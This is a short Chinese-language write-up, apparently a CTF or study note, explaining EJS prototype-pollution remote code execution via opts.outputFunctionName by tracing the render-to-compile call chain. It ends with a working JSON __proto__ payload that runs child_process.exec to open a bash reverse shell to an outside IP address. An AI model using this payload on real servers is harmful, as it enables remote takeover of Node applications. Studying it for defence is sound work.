EJS _CVE-2019-10744
(outputFunctionName)
在EJS引擎当中,存在一个属性opts.outputFunctionName
(注:影响该位置的源数据流实际上有很多个,这个属性利用条件相对宽松,只要有就能用)
读源码
ejs
作为渲染引擎,包含一些代码执行的功能,帮助将执行结果回显到页面。
【以下代码为exports.render
-----调用----->handleCache
】
首先调用了render
的话(在我们做题时可以看到的表层函数)
render
调用的handleCache
中跟进调用了compile
(记住,关键点)
【以下代码包含在ejs
的compile
函数中】
// 输出解析后的html字符串
语法:ejs.compile(str,options);
参数 | 参数说明 |
---|---|
str | 这个是用来渲染的数据展示区域 |
opstions | 这是个额外的参数配置,可以省略,详见后面 |
恰巧this.source
是拼接而成的,在包含opts.outputFunctionName
时会将其包含在内,动态拼接一个js语句字符串,这是十分危险的,因为在后续步骤中,会利用this.src
构造可调用函数。
因此操纵opts.outputFunctionName
即可构造预期函数,实现RCE。
如下图,compile在此处会被调用并作为返回值返回,导致渲染变为代码执行。
也就是说,我们对{}
原型进行污染添加opts.outputFunctionName
属性(主要为了污染opts
)下的恶意代码,就能利用渲染函数render
的调用链,转为代码执行。
Payload
由源码知,
this.source = prepended + this.source + appended;
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
构造合适的opts.outputFunctionName
,
a=2333;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2
整理为
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2"}}